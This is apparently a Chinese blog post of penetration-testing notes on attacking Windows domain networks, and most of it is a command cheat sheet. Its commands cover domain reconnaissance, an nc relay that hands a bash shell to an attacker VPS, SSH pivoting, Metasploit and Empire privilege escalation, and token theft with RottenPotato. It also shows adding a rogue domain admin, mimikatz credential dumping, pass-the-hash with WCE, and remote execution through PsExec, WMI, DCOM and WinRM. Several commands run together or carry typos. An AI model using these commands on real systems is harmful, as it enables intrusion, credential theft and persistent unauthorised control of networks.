0x01 内网渗透基础
第一章内容相对比较基础,参见之前总结的这篇博文:内网基础知识:https://www.cnblogs.com/-mo-/p/11906772.html
0x02 内网信息收集
2.1 收集本机信息
内容比较多,放在这里了:内网攻防技术备忘录:https://www.cnblogs.com/-mo-/p/12358812.html
2.2 探测域内存活主机
探测存活主机,可在白天和晚上分别进行探测,进行对比分析
这里我之前也有写过一篇博文,相对比较全:多种方式探测内网存活主机:https://www.cnblogs.com/-mo-/p/11908260.html
2.3 扫描域内端口
#手工telnettelnet DC 22#Msfuse auxiliary/scanner/portscan/tcp#PowerSploit./Invoke-Portscan.ps1#NishangInvoke-PortScan模块
2.4 收集域内信息
#当前域名称net view /domain#查询域内所有主机net view /domain:域名#查询域内所有用户组net group /domain#查询所有域成员主机全称net group "domain computers" /domain#获取域密码信息net accounts /domain#获取域信任信息nltest /domain_trusts#查看域控制器的主机名nltest /DCLIST:域名Nslookup -type=SRV _ldap._tcpnetdom query pdc#查看域控制器组net group "Domain Controllers" /domain
在实际网络中,一个域内一般存在两台或者两台以上的域控制器(备用域控制器)
常用的dsquery域内命令:
dsquery ou - 查找 组织单元dsquery group - 查找 组dsquery site - 查找 站点dsquery user - 查找 用户dsquery computer - 查找 计算机dsquery subnet - 查找 子网dsquery quota - 查找配额规定dsquery contact - 查找 联系人dsquery partition - 查找分区dsquery server - 查找 AD DC/LDS 实例dsquery * - 用通用的LDAP查询来查找任何对象
#查询域管理用户net group "domain admins" /domain#查询管理员用户组net group "Enterprise Admins" /domain
2.5 定位域管理员
常用的域管理员定位工具有:psloggedon.exe、PVEFindADUser.exe、netsess.exe,以及hunter、NetView,在PowerShell中,常用的工具又PowerView
0x03 隐藏通信隧道技术
本章中大多数讲解的是如何在访问受限的网络环境中来去自如,部分网络代理技术之前的博客也有总结过。
参考链接:端口转发工具大合集,这里主要再做些知识点的补充。
常用的隧道如下:
网络层:TPv6隧道(socat/6tunnel/nt6tunnel)、ICMP隧道(icmpsh/PingTunnel/powershell icmp)、GRE隧道
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP隧道、HTTS隧道、DNS隧道
3.1 传输层nc代理
实验环境:
攻击者VPS:192.168.1.4 DMZ服务器:192.168.1.1/1.1.1.116 内网数据库:1.1.1.200
代理目的:攻击者VPS能够管控内网数据库的终端
#攻击者VPSnc -lvp 3333#内网数据库nc -lvp 3333 -e /bin/bash#DMZ服务器nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"
3.2 应用层SSH代理
SSH协议属于应用层协议,一个普通的SSH命令如下:ssh root@192.168.1.1
3.2.1 实验环境
Kali:192.168.1.4 DMZ服务器:192.168.1.11/1.1.1.16 数据库服务器:1.1.1.10
3.2.2 本地转发(适合目标机能够接收内部流量的情况)
转发目的:以DMZ服务器为跳板,访问数据库服务的3389端口
#在Kali上执行,会要求输入DMZ服务器的SSH密码:ssh -CfNg -L 1153(本地端口):1.1.1.10:3389(目标主机) root@192.168.1.11(跳板机)
本地转发是将远程主机某个端口的数据转发到本地机器的指定端口,此时访问本地的1153端口,即可成功代理目标主机的3389端口流量。
3.2.3 远程转发(适合跳板机能够发送内部流量的情况)
转发目的:以DMZ服务器为跳板,访问数据库服务的3389端口
#在DMZ服务器上执行ssh -CfNg -R 3307(Kali端口):1.1.1.10:3389(目标主机) root@192.168.1.4(Kali主机)
远程转发是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到达本地的对应端口,此时访问Kali的3307端口,即可成功代理目标主机的3389端口流量
3.2.4 动态转发
可以通过SSH隧道开启一个目标内网的代理通道
同一实验环境下,在Kali上执行:
ssh -CfNg -D 7000 root@192.168.1.11(DMZ服务器)
此时即通过SSH隧道开放了一个可以访问目标服务器内网环境的流量通道
0x04 权限提升分析与防御
4.1 简介
提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。
常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等
4.2 系统内核溢出漏洞提权
此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。
https://github.com/SecWiki/windows-kernel-exploits
4.2.1 手工查找补丁情况
systeminfoWmic qfe get Caption,Description,HotFixID,InstalledOn
4.2.2 MSF后渗透扫描
post/windows/gather/enum_patches
4.2.3 Powershell扫描
Import-Module C:\Sherlock.ps1Find-AllVulns
4.3 系统配置错误提权
4.3.1 系统服务权限配置错误
Windows在系统启动时,会伴随着一些高权服务启动,倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持
实现方法可借助:
1.Powershell中的PowerUp脚本
2.Metasploit中的攻击模块
#需要提前获取一个sessionexploit/windows/local/service_permissions
4.3.2 可信任服务路径漏洞
如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的
MSF使用实战:
#寻找存在漏洞的服务wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """exploit/windows/local/trusted_service_path#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程set AutoRunScript migrate -f
4.3.3 计划任务
如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。
#查看计算机的计划任务schtasks /query /fo LIST /v
4.3.4 Empire内置模块
usemodule privesc/powerup/allchecksexecute
4.4 组策略首选项提权
组策略首选项(Group Policy Preferences,GPP)
谢公子的博客有很清楚的说明:Windows组策略首选项提权
#Powershell获取cpasswordGet-GPPPassword.ps1#Msfpost/windows/gather/credentials/gpp#Empireusemodule privesc/gpp
4.5 绕过UAC提权
之前backlion师傅有一篇博文,主要写的就是这个:使用Metasploit绕过UAC的多种方法
所以在这里就只把一些常用的命令筛选出来
#Msfexploit/windows/local/bypassuacgetsysem#避免发现,内存注入,不产生文件exploit/windows/local/bypassuac_injection#PowershellInvoke-PsUACme#Empireusemodule privesc/bypassuacusemodule privesc/bypassuac_wscript
4.6 令牌窃取
4.6.1 实战举例
#已经获取到一个session#方法一meterpreter > use incognito......meterpreter > list_tokens -u......WIN-2HU3N1\Administrator......meterpreter > impersonate_token WIN-2HU3N1\\Administrator #注意:这里是两个反斜杠\\......Successfully......meterpreter > shellC:\User\Administrator>whoamiWIN-2HU3N1\Administrator
#方法二,借用Rotten potato程序https://github.com/foxglovesec/RottenPotato.gitmeterpreter > use incognito......meterpreter > list_tokens -u......WIN-2HU3N1\Administrator......meterpreter > upload /root/Rottenpotato/rottenpotato.exeSuccessfully......meterpreter > execute -HC -f rottenpotato.exeSuccessfully......meterpreter > getuid...NT AUTHORITY\SYSTEM
4.6.2 添加域管理员
#cmdnet user mo 123456 /ad /domain #添加域用户net group "domain admins" mo /ad /domain #加入域管理员组net group "domain admins" /domain #查看是否添加成功#MSFadd_user mo 123456 -h 1.1.1.2add_group_user "Domain Admins" mo -h 1.1.1.2
在添加好可控制的域管理员后,可迭代使用MSF查询所存在的身份验证令牌
4.7 无凭证条件下的权限提升
Responder.py:https://github.com/SpiderLabs/Responder.git
0x05 域内横向移动分析与防御
5.1 常用指令
#IPC连接net use \\192.168.100.190\ipc$ "123456" /user:administratornet use #查看已建立的连接net use \\192.168.100.190\ipc$ /del /y #删除建立的连接#dir命令dir \\192.168.100.190\c$2019/06/22 16:47 <DIR> .2019/06/22 16:47 <DIR> ..2019/04/24 15:22 <DIR> .ipynb_checkpoints2018/11/05 15:05 4,760 1-numpy数值计算基础1.ipynb2019/04/23 16:13 2,831 Crypto.ipynb2 个文件 1,469 字节3 个目录 1,976 可用字节#tasklist命令tasklist /$ 192.168.100.190 /U administrator /P 123456#at计划任务net time \\192.168.100.190copy calc.bat \\192.168.100.190at \\192.168.100.190 4.11PM C:\calc.bat (无回显)at \\192.168.100.190 4.11PM cmd.exe /c "ipconfig >C:/1.txt"type \\192.168.100.190\C$\1.txt (分步回显)at \\192.168.100.190 7(任务计划的ID号) /delete (清除计划任务)#schtasks计划任务#在远程主机上创建一个:c:\calc.bat 开机时以System权限启动的 test 任务schtasks /create /s 192.168.100.190 /tn test /sc onstart /tr c:\calc.bat /ru system /f#执行 test 任务schtasks /run /s 192.168.100.190 /i /tn "test"#删除计划任务schtasks /delete /s 192.168.100.190 /tn "test" /f#schtasks会留存日志C:\Windows\Tasks\SchedLgU.txt
5.2 Windows系统散列值获取
在windows操作系统中,Hash的结构通常如下:
username:RID:LM-HASH:NT-HASH#服务器版从windows server2003以后,认证方式均为NTLM Hash#如果LM Hash被禁用了,工具抓到的LM Hash通常为:aad3b435b51404eeaad3b435b51404ee
单机密码抓取:
GetPassword_x64.exe #获得明文PwDump7.exe #获得NTML Hash#mimikatz本地读取privilege::debugtoken::elevatelsadump::sammimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"#mimikatz离线读取lsass.dmp#NishangImport-Module .\Get-PassHashes.ps1
5.3 哈希传递攻击分析
参考链接:Mimikatz使用大全
5.4 票据传递攻击分析
参考链接:MS14-068复现(CVE-2014-6324)
5.5 PsExec的使用
在建立了IPC$的情况下,执行如下命令,获取System权限的Shell
PsExec.exe -accepteula \\192.168.100.190 -s cmd.exe#如果暂时没有建立IPC$连接的话,可以用-u,-p参数进行建立PsExec.exe -accepteula \\192.168.100.190 -u administrator -p 123456 cmd.exe /c "ipconfig" #回显执行
#MSF中的psexec模块exploit/windows/smb/psexecexploit/windows/smb/psexec_psh(Powershell版本,混淆)
在webshell的环境下,psexec 如果是在目标环境第一次运行的话,有可能会因为程序的UAC,出现无法使用的情况,此时可尝试使用 paexec 进行横向渗透:
PAExec \\{server IP address} -s cmd.exePAExec \\{server IP address} ipconfigPAExec \\{server IP address} -u {username} -p {password} -i -c MyApp.exe
5.6 WMI的使用
wmi的命令没有回显,但其操作默认不会记录在日志中,需要借助ipc$和type命令来读取信息
#远程执行wmic命令,目标服务器需开启135端口wmic /node:172.16.1.1 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig >ip.txt"type \\192.168.100.190\C$\ip.txt
Linux:
想要从Linux向Windows进行横向渗透的话,可以使用impacket工具包中的wmiexec.py文件,得到目标的shell
Windows:
可以通过VBS调用VMI来模拟PsExec的功能
cscript.exe //nologo wmiexec.vbs /shell 192.168.100.190 administrator 123456 #半交互式shell模式cscript.exe wmiexec.vbs /cmd 192.168.100.190 administrator 123456 "ipconfig" #远程执行命令#wmiexec.vbs已被列入各大安全厂商的黑名单
上面是提供账号密码的情况,如果有时候我们抓取到的是hash,破解不了时可以利用 WCE 的 hash 注入,然后再执行 WMIEXEC(不提供账号密码)就可以了:
wce.exe -s 用户名:机器名或ip:LM-HASH:NT-HASHwce.exe -s 用户名:域名:LM-HASH:NT-HASH#Tips:如果抓取的 LM hash 是 AAD3 开头的,或者是 No Password 之类的,就用 32 个 0 代替 LM hash 即可
wce下载链接
相关设定:
Const Path = "C:\"Const FileName = "wmi.dll"Const timeOut = 1200#这段代码在脚本的一开始,是控制结果文件路径、文件名、以及默认代码执行时间的,可以自行更改
5.7 smbexec的使用
smbexec是需要提前将自身上传到目标服务器上的
test.exe:客户端主程序execserver.exe:目标系统中的辅助程序
winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "whoami /all"winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "cmd.exe"
5.8 DCOM在远程系统中的使用
DOCM(分布式组件对象模型)是微软一系列概念和程序接口,通过DOCM,客户端程序对象能够向网络中的另一台计算机上的服务程序对象发送请求
通过本地DCOM执行命令:
Get-CimInstance Win32_DCOMApplication#使用 Poweshell3.0 获取本地 DCOM 程序列表(win server 2012以上)Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication#使用 Poweshell2.0 获取本地 DCOM 程序列表(win7、win server 2008)$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")#通过Powershell使用DCOM本地执行calc.exe
使用DCOM远程执行命令:
net use \\192.168.100.190\ipc$ "123456" /user:administrator#首先需使用本地账号建立远程IPC$连接$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.100.190"))$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","")#通过Powershell使用DCOM远程执行calc.exe
5.9 WinRM远程管理服务
WinRM指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听端口5985(HTTP)&5986 (HTTPS),在2012以后默认开启。
执行命令:
winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "whoami /all"winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "cmd.exe"
